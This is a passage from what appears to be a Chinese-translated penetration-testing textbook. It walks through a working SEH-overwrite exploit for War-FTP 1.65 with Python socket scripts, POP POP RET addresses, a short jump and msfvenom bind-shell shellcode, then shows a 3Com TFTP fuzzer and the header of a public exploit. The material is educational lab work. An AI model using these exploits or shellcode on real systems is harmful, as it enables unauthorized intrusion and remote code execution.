  Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2
  Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8
  Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au5Au6
  Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2
  Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8
  Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4
  Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0
  Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6
  Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2
  Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2B"
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  connect=s.connect(('192.168.20.10',21))
  response = s.recv(1024)
  print response
  s.send('USER ' + buffer  + '\r\n')
  response = s.recv(1024)
  print response
  s.close()

在这里，我们生成了一个 1,150 字符的模式，并在 ❶ 处替换了 A 字符串。接下来，重新启动 War-FTP，在 Immunity Debugger 中运行该漏洞利用程序。正如图 18-6 所示，SEH 被 41317441 覆盖。

图 18-6. SEH 被 Mona 的模式覆盖

现在使用 !mona findmsp 来查找在我们 1,150 字符的攻击字符串中，SEH 条目被覆盖的位置，如图 18-7 所示。

图 18-7. 在循环模式中找到 SEH 覆盖

查看位于 C:\logs\war-ftpd\findmsp.txt 的日志输出（部分内容如下），我们发现 NSEH 条目被覆盖在攻击字符串的第 569 字节。回顾图 18-1，SEH 链条目由八个字节组成（NSEH 条目后跟 SEH 指针）。因此，我们的 SEH 覆盖发生在攻击字符串的第 573 字节（NSEH 后的四个字节）。

[+] Examining SEH chain
    SEH record (nseh field) at 0x00affd94 overwritten with normal pattern : 0x41317441 (offset 569), followed by 577 bytes of cyclic data

将控制权传递给 SEH

回到 Windows XP 目标系统，Immunity Debugger 屏幕底部显示了访问冲突，并指出你可以按 shift-F7/F8/F9 将异常传递给程序。在这种情况下，程序将尝试执行内存地址 41317441，该地址是覆盖了 SEH 的字符串。使用 shift-F9 继续运行程序，直到发生下一个错误。如图 18-8 所示，程序在尝试访问内存地址 41317441 时遇到访问冲突。与之前的例子一样，我们将把一个有效的内存地址放置在 41317441 位置，以成功劫持执行。

还请注意在图 18-8 中，当执行传递到 SEH 时，我们的许多寄存器已经被清零。这可能使得跳转到攻击者控制的寄存器变得更加困难。

图 18-8. 执行被传递到被覆盖的 SEH

在未被清零的寄存器中，似乎没有任何一个指向我们攻击字符串的部分。显然，SEH 中简单的 JMP ESP 不会将执行重定向到攻击者控制的内存。我们在寻找可利用性时，形势依然相当严峻。

在内存中查找攻击字符串

当然，在这种情况下，我们已经有了一个有效的返回指针覆盖漏洞利用程序。然而，一些程序仅对 SEH 覆盖漏洞存在漏洞，因此开发利用这些问题的方法至关重要。幸运的是，SEH 覆盖漏洞的攻击者控制内存地址即将到来。如图 18-9 所示，在 Immunity Debugger 中突出显示 ESP 寄存器，右键单击并选择在栈中跟踪。

图 18-9. 跟随栈上的 ESP

尽管 ESP 寄存器的内容并没有指向我们的循环模式的任何部分，但从 ESP 开始向下两个步骤，在 ESP+8 处，我们看到内存地址00AFD94指向了我们内存中的循环模式，如图 18-10 所示。如果我们能够找到一种方法移除栈中的两个元素，然后执行该内存地址的内容，我们就可以用 shellcode 代替模式来执行代码。

图 18-10. 比 ESP 高八字节的循环模式

NSEH 的位置是00AFFD94，如 Mona 的findmsp命令的输出所示。我们可以通过在栈窗格中右键单击00AFFD94并选择在栈中跟踪来验证这一点，如图 18-11 所示。

图 18-11. 指向下一个 SEH 记录的指针中的循环模式

如前所述，SEH 条目是一个八字节长的链表，由指向链中下一个 SEH 记录的指针和栈上处理程序的内存地址组成。如果我们能够将 ESP+8 加载到 EIP 中，就可以执行一些 shellcode。不幸的是，在遇到 SEH 条目之前，看起来我们只有四个字节可供使用，但让我们一个问题一个问题地处理。我们需要找到一种可行的方式来获取我们的 shellcode，然后再返回去让我们的 shellcode 适应可用的空间。

在继续之前，让我们验证一下我们的偏移量是否正确，如示例 18-3 所示。

示例 18-3. 验证覆盖偏移量

#!/usr/bin/python
import socket
buffer = "A" * 569 + "B" * 4 + "C" * 4 + "D" * 573 ❶
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.close()

编辑你的漏洞利用程序，发送 569 个A，接着是 4 个B，再接着是 4 个C，最后以 573 个D结束，形成 1,150 字节的攻击字符串，位置在❶。重新启动 War-FTP 并再次运行漏洞利用程序。我们在图 18-12 中看到，SEH 被我们的 4 个C覆盖。

Figure 18-12. SEH 被四个 C 字符覆盖。

如果我们再次按下 shift-F9 将异常处理程序传递给崩溃的程序，当访问内存地址 43434343 时，War-FTP 第二次崩溃，出现我们的 C 字符。现在跟踪栈中的 ESP 寄存器。如图 Figure 18-13 所示，ESP+8 指向一个内存地址，该地址首先填充了四个 B 字符，然后是四个 C 字符，接着是 D 字符。

Figure 18-13. ESP+8 是攻击者控制的。

我们的偏移量是正确的。现在，需要找到一种方法将执行重定向到 ESP+8。遗憾的是，这次简单的 JMP ESP 无法实现。

POP POP RET

我们需要一条指令，或者一系列指令，允许我们将栈向下移动八个字节，然后执行位于 ESP+8 的内存地址内容。为了弄清楚需要的汇编指令，我们必须考虑栈是如何工作的。

栈是一个后进先出（LIFO）的结构。常用的比喻是自助餐厅里的托盘堆叠概念。餐厅员工最后放上堆栈的托盘是餐客首先拿到的托盘。将托盘加入栈和顾客拿到托盘的汇编命令分别是 PUSH 和 POP。

回想一下，ESP 指向当前栈帧的顶部（最低内存地址）。如果我们使用 POP 指令从栈中弹出一个条目（四个字节），ESP 会指向 ESP+4。因此，如果我们连续执行两个 POP 指令，ESP 会指向 ESP+8，这正是我们想要的。

最后，为了将我们的执行重定向到攻击者控制的字符串，我们需要将 ESP+8 的值（现在在执行了两个 POP 指令后位于 ESP 中）加载到 EIP 中（即下一个将被执行的内存地址）。幸运的是，有一条指令可以做到这一点，即 RET 指令。根据设计，RET 会将 ESP 寄存器中的内容加载到 EIP 中，然后执行这些内容。

如果我们能够找到这三条指令，POP <某个寄存器>、POP <某个寄存器>、RET（通常被漏洞开发者缩写为 POP POP RET），我们应该能够通过覆盖 SEH 来重定向程序的执行，将 SEH 替换为第一个 POP 指令的内存地址。然后，ESP 的内容将被弹入指令所指定的寄存器中。我们并不特别关心哪个寄存器获得了被弹出的数据，只要它不是 ESP 本身即可。我们唯一关心的是将栈中的内容逐步弹出，直到到达 ESP+8。

接下来，执行第二个 POP 指令。此时，ESP 指向原始的 ESP+8。然后，执行 RET 指令，ESP（在执行 SEH 时为 ESP+8）被加载到 EIP 中。回忆前一节，ESP+8 存储了一个内存地址，该地址指向我们攻击者控制的字符串的第 569 字节。

注意

与 JMP ESP 一样，找到 POP POP RET 指令并不是硬性要求。逻辑等效的指令，如将 ESP 加八个字节后紧接着一个 RET 指令，或者其他类似的指令，也同样有效。

尽管这个技术稍微复杂一些，但它与我们在第十七章完成的保存返回指针缓冲区溢出练习类似。我们正在劫持程序的执行流并将其重定向到我们的 Shellcode。现在，我们需要在 War-FTP 或其可执行模块中找到一个 POP POP RET 指令实例。

SafeSEH

由于 SEH 覆盖攻击已经变得非常普遍，微软提出了阻止这些攻击生效的方法。一个这样的例子就是 SafeSEH。使用 SafeSEH 编译的程序会记录将用于结构化异常处理的内存位置，这意味着尝试将执行重定向到包含 POP POP RET 指令的内存位置将无法通过 SafeSEH 检查。

需要意识到的是，即使 Windows XP SP2 及以后版本的 DLL 使用 SafeSEH 编译，第三方软件也不必实现这种缓解技术。如果 War-FTP 或其任何自定义 DLL 没有使用 SafeSEH，我们可能就不需要处理这个检查。

当我们使用 !mona seh 命令时，Mona 会在查找 POP POP RET 指令的过程中确定哪些模块没有使用 SafeSEH，如图 18-14 所示。

图 18-14. 在 Mona 中运行 SEH 命令

!mona seh 的结果会写入 C:\logs\war-ftpd\seh.txt，部分内容如图所示。

0x5f401440 : pop edi # pop ebx # ret 0x04 | asciiprint,ascii {PAGE_EXECUTE_
READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False,
v4.2.6256 (C:\Documents and Settings\georgia\Desktop\MFC42.DLL)
0x5f4021bf : pop ebx # pop ebp # ret 0x04 |  {PAGE_EXECUTE_READ} [MFC42.DLL]
ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.2.6256 (C:\Documents
and Settings\georgia\Desktop\MFC42.DLL)
0x5f4580ca : pop ebx # pop ebp # ret 0x04 |  {PAGE_EXECUTE_READ} [MFC42.DLL]
ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.2.6256 (C:\Documents
and Settings\georgia\Desktop\MFC42.DLL)
0x004012f2 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ}
[war-ftpd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.6.5.0
(C:\Documents and Settings\georgia\Desktop\war-ftpd.exe)

从输出中可以看到，唯一没有 SafeSEH 的模块是 War-FTP 可执行文件本身和一个名为 MFC42.dll 的 War-FTP 附带 DLL。我们需要从 Mona 的输出中选择一个 POP POP RET（或其逻辑等效）实例，该实例避免了第十七章中讨论的四个坏字符（\x00, \x40, \x0a, \x0d）。(要让 Mona 在搜索过程中自动排除包含坏字符的条目，可以输入 !mona seh -cpb "\x00\x40\x0a\x0d"。一个这样的地址是 5F4580CA。指令为 POP EBX，POP EBP，RET。再次强调，我们不在乎这些指令存储在哪里，只要我们能从栈上弹出两个条目。如果我们用地址 5F4580CA 覆盖 SEH，这些指令就会被执行，我们的执行流将被重定向到攻击字符串。

在继续之前，按照图 18-15 所示，在 5F4580CA 处设置断点，命令为 bp 0x5F4580CA。

图 18-15. POP POP RET 处的断点

将之前 exploit 中的四个 C 替换为 POP POP RET 内存地址的小端格式，正如在示例 18-4 中所示。

示例 18-4. 使用 POP POP RET 替换 SEH 覆盖

#!/usr/bin/python
import socket
buffer = "A" * 569 + "B" * 4 + "\xCA\x80\x45\x5F" + "D" * 573
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.close()

现在重新运行 exploit。正如在图 18-16 中看到的，程序再次崩溃，正如预期的那样，SEH 被 5F4580CA 覆盖。

图 18-16. SEH 被 POP POP RET 地址覆盖

按下 Shift-F9 让程序跳过已覆盖的异常处理程序。正如预期的那样，我们击中了断点，正如在图 18-17 中所示。

图 18-17. 我们击中断点。

CPU 面板（左上角）显示接下来要执行的指令是 POP POP RET。按 F7 键逐步执行指令，并观察堆栈（右下角）发生了什么变化。你会看到 ESP 在执行 POP 指令时，指针向更高的地址移动。正如在图 18-18 中所示，当我们执行 RET 指令时，最终会跳转到我们的攻击字符串，指向 NSEH 记录的指针，目前该指针填充了四个 B。

图 18-18. 执行已重定向到你的攻击字符串。

我们已经解决了第一个问题：我们已将程序的执行重定向到我们的攻击字符串。不幸的是，正如在图 18-18 中看到的那样，在我们遇到 SEH 覆盖地址 5F4580CA 之前，我们只有四个可用的字节。SEH 地址后面有一长串 D，但目前我们只能使用四个字节。只有四个字节的 shellcode 我们无法做太多事情。

使用短跳转

我们需要以某种方式绕过返回地址，并跳转到我们的一长串 D 字符中，这里有足够的空间放置我们的最终 shellcode。我们可以使用 short jump 汇编指令将 EIP 移动一个短距离。这种方法非常适合我们的目的，因为我们需要跳过 SEH 覆盖的四个字节。

短跳转的十六进制表示为\xEB <跳转长度>。通过将短跳转指令\xEB <跳转长度> 填充两个字节，填满在 SEH 覆盖前的所有四个字节，我们可以跳过填充字节和 SEH 覆盖，跳过六个字节。

编辑攻击字符串，加入短跳转，如示例 18-5 所示。

示例 18-5. 添加短跳转

#!/usr/bin/python
import socket
buffer = "A" * 569 + "\xEB\x06" + "B" * 2 + "\xCA\x80\x45\x5F" + "D" * 570
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.close()

如示例 18-5 所示，这次我们将 NSEH（之前是四个 B 字符）替换为"\xEB\x06" + "B" * 2。在重新运行漏洞利用之前，重置你在 POP POP RET 处的断点，当你触发断点时，逐行单步调试程序（F7），查看发生了什么。现在，在 POP POP RET 之后，我们有了一个六字节的短跳转，如图 18-19 所示。

图 18-19. 执行被重定向到短跳转。

现在按下 F7 执行短跳转。如图 18-20 所示，短跳转成功绕过了 SEH 覆盖地址，并将执行重定向到我们攻击字符串的其余部分（D 字符）。

图 18-20. 短跳转使我们绕过了 SEH 覆盖。

选择有效载荷

我们现在已经第二次重定向了执行，跳转到了我们控制内存的更长部分——这是放置我们的 shellcode 的理想位置。接下来选择一个有效载荷，并使用 Msfvenom 生成，如下所示。

root@kali:~# msfvenom -p windows/shell_bind_tcp -s 573 -b '\x00\x40\x0a\x0d'
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
buf =
"\xbe\xa5\xfd\x18\xa6\xd9\xc6\xd9\x74\x24\xf4\x5f\x31\xc9" +
--*snip*--

记得告诉 Msfvenom 使用最大大小 573 字节，并排除我们为 FTP 用户名设置的坏字符。（再次提醒，尽管你可能能稍微增加一点长度，但我们最初的异常是因为我们写出了栈的末尾。我们想确保所有的 shellcode 都能执行。）现在将 shellcode 替换到漏洞中的D字符位置。为了使漏洞足够长以触发 SEH 覆盖（而不是我们在第十七章看到的保存的返回指针覆盖），将漏洞字符串填充至 1,150 个字符，使用D字符填充。完成的漏洞如示例 18-6 所示。我们的 shellcode 直接位于 SEH 覆盖之后。（在这个示例中，我们再次使用 Windows 绑定 shell。）

示例 18-6：完成的 SEH 覆盖漏洞

#!/usr/bin/python
import socket
shellcode = ("\xbe\xa5\xfd\x18\xa6\xd9\xc6\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x56\x31\x77\x13\x83\xc7\x04\x03\x77\xaa\x1f\xed\x5a" +
"\x5c\x56\x0e\xa3\x9c\x09\x86\x46\xad\x1b\xfc\x03\x9f\xab" +
"\x76\x41\x13\x47\xda\x72\xa0\x25\xf3\x75\x01\x83\x25\xbb" +
"\x92\x25\xea\x17\x50\x27\x96\x65\x84\x87\xa7\xa5\xd9\xc6" +
"\xe0\xd8\x11\x9a\xb9\x97\x83\x0b\xcd\xea\x1f\x2d\x01\x61" +
"\x1f\x55\x24\xb6\xeb\xef\x27\xe7\x43\x7b\x6f\x1f\xe8\x23" +
"\x50\x1e\x3d\x30\xac\x69\x4a\x83\x46\x68\x9a\xdd\xa7\x5a" +
--*snip*--
buffer = "A" * 569 + "\xEB\x06" + "B" * 2 + "\xCA\x80\x45\x5F" +  shellcode + "B" * 205
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer  + '\r\n')
response = s.recv(1024)
print response
s.close()

当 War-FTP 连接到 Immunity Debugger 时，我们必须手动告诉调试器将 SEH 传递给程序。当我们在没有调试器的情况下运行 War-FTP 并遇到错误时，执行会自动传递给 SEH，执行POP POP RET指令，短跳转，最后是我们的 shellcode。

总结

我们已经成功构建了 War-FTP 的 SEH 覆盖漏洞。虽然 War-FTP 允许我们通过直接覆盖返回地址或 SEH 来利用缓冲区溢出漏洞，但有些脆弱的程序不会以能够控制 EIP 的方式崩溃，但却允许你覆盖 SEH。在这种情况下，知道如何利用这种崩溃是创建有效漏洞的关键。由于结构化异常处理程序的工作方式，每次遇到这种崩溃时，你可以依赖 NSEH 总是在 ESP+8 的位置。当你覆盖 SEH 时，会发现在 ESP+8 处有指向下一个 SEH 记录的指针。在执行来自没有启用 SafeSEH 的模块的POP POP RET指令系列后，你需要执行一个短跳转来到达攻击字符串中的 shellcode。如果你继续进行漏洞开发，可能会遇到另一个挑战，其中\xEB是一个不良字符，因此你需要找到其他方法来执行跳转。

在下一章中，我们将通过一些零碎的内容完成对漏洞开发基础的学习，比如使用一种叫做fuzzing的技术首次发现崩溃，将公共漏洞代码移植以满足我们的需求，以及编写我们自己的 Metasploit 模块。

第十九章. Fuzzing、移植利用和 Metasploit 模块

在本章中，我们将回顾一些更基础的利用开发技术。我们将研究如何使用一种叫做fuzzing的技术，找出易受攻击程序中的潜在漏洞。我们还将讨论如何处理公开的利用代码并安全地将其移植以满足我们的需求，以及构建我们自己的 Metasploit 模块的基础知识。最后，我们将讨论一些可能已被目标防御的漏洞缓解技术。

Fuzzing 程序

在第十七章中，我们利用了 War-FTP 版本 1.65 的用户名字段缓冲区溢出，使用了一个 1,100 字节的利用字符串。自然的问题是，我们怎么知道在用户名字段中填入 1,100 个A会导致程序崩溃，更重要的是，安全研究人员是如何首次发现这个漏洞的？在某些情况下，程序的源代码是公开的，因此寻找漏洞的研究人员只需要熟练掌握安全编码实践。在其他情况下，我们可以使用一种流行的方法叫做fuzzing，通过向程序发送各种输入，期望能发生一些奇怪的事情。

通过代码审查发现漏洞

在第十六章中，我们使用了一个简短的 Linux 程序来说明缓冲区溢出漏洞。当审计该程序的源代码时（如示例 19-1 所示），我们看到了strcpy函数 ❶。正如该章节中所讨论的，这个函数没有进行边界检查，可能会带来安全风险。

示例 19-1. 漏洞 C 代码

#include <string.h>
#include <stdio.h>

void overflowed() {
        printf("%s\n", "Execution Hijacked");
}

void function(char *str){
        char buffer[5];
        strcpy(buffer, str); ❶
}
void main(int argc, char *argv[])
{
        function(argv[1]); ❷
        printf("%s\n", "Executed normally");
}

阅读这段源代码时，我们看到用户输入（第一个程序参数）被传递给function ❷。然后，用户输入被通过strpy ❶复制到一个五字符的字符串buffer中。正如我们在第十六章中看到的那样，我们可以利用这种行为来创建基于栈的缓冲区溢出。

Fuzzing 一个简单的 FTP 服务器

当我们无法访问程序的源代码时，我们必须使用其他方法来寻找可能被利用的安全问题。我们可以通过 fuzzing 向程序发送各种输入，这些输入是开发者从未打算让代码处理的。如果我们能找到能够以可控方式操作内存的输入，我们可能就能利用这个程序。

在第十七章中，在利用 War-FTP 1.65 时，我们首先通过在用户名字段发送 1100 个A字符让程序崩溃。一旦我们确定 EIP 包含四个A字符，并且从 ESP 寄存器中有一长串的A字符，我们就认为这个问题是可以利用的，并继续编写有效的基于栈的缓冲区溢出利用程序。在以下示例中，我们提前一步，使用模糊测试来确定我们需要发送多少个A字符才能让程序崩溃。

我们可以使用模糊测试技术来触发崩溃，这可以帮助我们构建利用程序。让我们看一个模糊测试 Trivial FTP（TFTP）服务器的示例，以找到一个可利用的漏洞。我们将使用 3Com TFTP 服务器 2.0.1 版本，它是在后期利用阶段从我们的 Windows XP 系统中发现的。

TFTP 默认运行在 UDP 端口 69 上。由于它是无连接的，我们需要了解 TFTP 通信的语法，以便发送 TFTP 软件会尝试处理的 UDP 数据包。根据 TFTP 的《请求评论》（RFC）页面，一个正确的 TFTP 数据包格式如示例 19-2 所示。为了让 TFTP 响应我们，我们需要遵循这个规范。

示例 19-2. TFTP 数据包格式

  2 bytes    string    1 byte    string    1 byte
------------------------------------------------
| Opcode |  Filename  |   0  |    Mode    |   0  |
------------------------------------------------

在考虑基于栈的缓冲区溢出攻击时，要查找用户可以控制输入的大小和内容的地方。如果我们可以发送符合 TFTP 规范的输入，但其中包含代码未设计处理的输入，那么我们可能能够触发基于栈的缓冲区溢出漏洞。在这个 TFTP 服务器的情况下，第一个字段，操作码（Opcode），总是两个字节长，并且包含以下字符串之一：

操作码（Opcode）	操作（Operation）
01	读取请求（RRQ）
02	写请求（WRQ）
03	数据（DATA）
04	确认（ACK）
05	错误（ERROR）

然而，我们可以控制文件名字段。在真实的 TFTP 请求中，这就是我们告诉服务器我们想要读取、写入等的文件名的地方。文件名的长度是可变的，字符串的内容由用户控制，所以这可能是查找基于栈的缓冲区溢出漏洞的一个好地方。例如，也许代码的作者没有预料到会有人输入一个 1000 个字符长的文件名。毕竟，谁会想要输入一个 1000 字符长的文件名呢？

下一个字段是一个空字节，表示文件名的结束。我们无法控制这个字段，但我们可以控制第四个字段，模式（Mode），它是一个用户控制的可变字符串。根据 RFC，TFTP 支持的模式包括 netascii、octet 和 mail。这是一个理想的模糊测试点，因为开发者只期望该字段的字符数为八个或更少。TFTP 数据包以空字节结束，以表示模式的结束。

尝试崩溃

对于我们的模糊测试练习，我们将构造一系列合法的 TFTP 数据包，模式字段中包含虚假的且逐渐变长的输入。如果 TFTP 正确处理这些数据包，它应该会显示模式未识别并停止处理数据包。如果我们能触发基于栈的缓冲区溢出漏洞，结果可能会不同，从而导致程序崩溃。为此，我们将再次编写一个简单的 Python 程序。

与我们在第十七章和第十八章中的 War-FTP 利用示例中将缓冲区变量设置为包含 1,100 个 A 字符的字符串不同，我们将在示例 19-3 中创建一个包含可变长度字符串的数组。

示例 19-3。一个简单的 TFTP 模糊测试程序

#!/usr/bin/python
import socket
bufferarray = ["A"*100] ❶
addition = 200
while len(bufferarray) <= 50: ❷
        bufferarray.append("A"*addition) ❸
        addition += 100
for value in bufferarray: ❹
        tftppacket = "\x00\x02" + "Georgia" + "\x00" + value + "\x00" ❺
        print "Fuzzing with length " + str(len(value))
        s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ❻
        s.sendto(tftppacket,('192.168.20.10',69))
        response = s.recvfrom(2048)
        print response

数组中的第一个元素将是一个包含 100 个 A 字符的字符串 ❶。但在向 TFTP 服务器发送任何数据包之前，让我们先创建其余的模糊字符串，并通过每次增加 100 个字符的方式将它们添加到数组中。使用 while 循环，我们将不断将逐渐变长的字符串追加到数组中，直到数组长度为 50 ❷。每次循环 while，一个新的元素将被添加到数组中 ❸。当我们创建好所有的模糊字符串并且 while 循环退出后，我们将进入一个 for 循环 ❹，这个循环会依次抓取数组中的每个元素，并将其作为有效的 TFTP 数据包中的 Mode 字段内容发送 ❺。

我们的数据包符合 TFTP RFC 的规范。我们使用了 02 模式（写请求）和文件名 Georgia。我们从数组中提取的 A 字符串被放入 Mode 字段中。希望我们不断增长的字符串能够导致崩溃。

设置我们的网络套接字与我们在上一章中攻击 FTP 时学到的稍有不同。因为 TFTP 是 UDP 协议，我们需要设置一个 UDP 套接字，而不是 TCP 套接字，所以语法稍有不同 ❻。将 Python 代码保存为 tftpfuzzer，并使其可执行。

在我们开始发送模糊测试数据包之前，切换回你的 Windows XP 机器，并使用 Immunity Debugger 附加到 3CTftpSvc 进程，如图 19-1 所示。这样，如果我们引起崩溃，就能查看内存内容，验证是否已经控制了 EIP。（不要忘了点击 Immunity Debugger 窗口顶部的播放按钮，让程序继续运行。）

图 19-1. 附加 Immunity Debugger 到 3Com TFTP 服务器

现在，在示例 19-4 中，我们运行了在示例 19-3 中创建的 TFTP 模糊测试程序。

示例 19-4. 测试 3Com TFTP

root@kali:~# ./tftpfuzzer
Fuzzing with length100
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00',❶ ('192.168.20.10', 4484))
Fuzzing with length 200
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00', ('192.168.20.10', 4485))
Fuzzing with length 300
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00', ('192.168.20.10', 4486))
Fuzzing with length 400
('\x00\x05\x00\x04Unknown or unsupported transfer mode : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00', ('192.168.20.10', 4487))
Fuzzing with length 500
('\x00\x05\x00\x04Unk\x00', ('192.168.20.10', 4488))
Fuzzing with length 600 ❷

当程序在 Mode 字段中依次运行多个 A 字符串时，TFTP 服务器会回复说它不知道该传输模式 ❶。当模糊测试程序尝试以 600 的长度进行模糊测试时，TFTP 服务器没有回应 ❷，这让我们认为，传输模式为 500 个 A 字符时，服务器崩溃了，因此在我们发送超过 600 个 A 字符时，它无法响应我们。

回顾在 Immunity Debugger 中的 3Com TFTP 服务器（图 19-2），我们看到它在 EIP 中崩溃，值为 41414141。还注意到在寄存器 ESP 中有一串较短的 A 字符串，在寄存器 ESI 中有一串更长的 A 字符串。似乎通过在 Mode 字段中发送一个 500 字符的字符串，我们可以控制执行以及某些内存寄存器的内容：这是编写基于堆栈的缓冲区溢出漏洞利用程序的理想情况。

图 19-2. 3Com TFTP 已崩溃。

使用上一章中学习到的技巧，在没有文本帮助的情况下，看看你能否为 3Com TFTP 2.0.1 开发出有效的漏洞利用程序。在这种情况下，保存的返回指针覆盖位于漏洞字符串的末尾，而 ESI 中的 shellcode 会出现在漏洞字符串的前面。（你可以在编写 Metasploit 模块中找到这个练习的完整 Python 漏洞利用程序。如果你遇到困难，可以参考那段代码。）

要在崩溃后重新启动 3Com TFTP，请浏览到 C:\Windows，打开 3CTftpSvcCtrl，并点击 启动服务，如图 19-3 所示。然后在 Immunity Debugger 中重新附加到新进程。

图 19-3. 3Com TFTP 服务控制对话框

将公开漏洞移植以满足你的需求

有时你可能会在渗透测试中发现一个可利用的漏洞，但没有可用的 Metasploit 模块来利用它。虽然 Metasploit 团队和社区中的贡献者在保持 Metasploit 与当前威胁同步方面做得非常出色，但并非所有已知的互联网漏洞都已移植到这个框架中。

我们可以尝试通过下载目标软件并开发有效的漏洞利用来进行攻击，但这种方法并不总是可行的。相关软件可能需要支付昂贵的许可费用，导致你在渗透测试中亏损，或者可能无法从供应商或其他地方获得。此外，你的渗透测试可能有时间限制，因此，你最好去寻找环境中其他潜在的漏洞，而不是花费大量时间开发自定义漏洞利用。

开发自己的有效漏洞利用的一种方法是使用公开可用的漏洞利用作为基础，并将其移植到你的环境中。即使漏洞没有对应的 Metasploit 模块，你也可以在像 Exploit Database (www.exploit-db.com/) 或 SecurityFocus (www.securityfocus.com/）这样的网站上找到概念验证的漏洞利用代码。尽管公开的漏洞利用代码应该谨慎使用（并不是网上的所有东西都如其所述那样运行），但只要我们尽职调查，仍然可以安全地使用这些公开的漏洞利用代码。

我们从 Exploit Database 中找到的公开漏洞利用是针对 3Com TFTP 2.0.1 版本的长传输模式漏洞，链接在网上可以找到，位于 www.exploit-db.com/exploits/3388/，并显示在示例 19-5 中。

示例 19-5. 3Com TFTP 的公开漏洞利用

#!/usr/bin/perl –w ❶
#===============================================================
#                3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Perl Exploit
#                               By Umesh Wanve (umesh_345@yahoo.com)
#===============================================================
# Credits : Liu Qixu is credited with the discovery of this vulnerability.
# Reference : http://www.securityfocus.com/bid/21301
# Date : 27-02-2007
# Tested on Windows 2000 SP4 Server English ❷
#           Windows 2000 SP4 Professional English
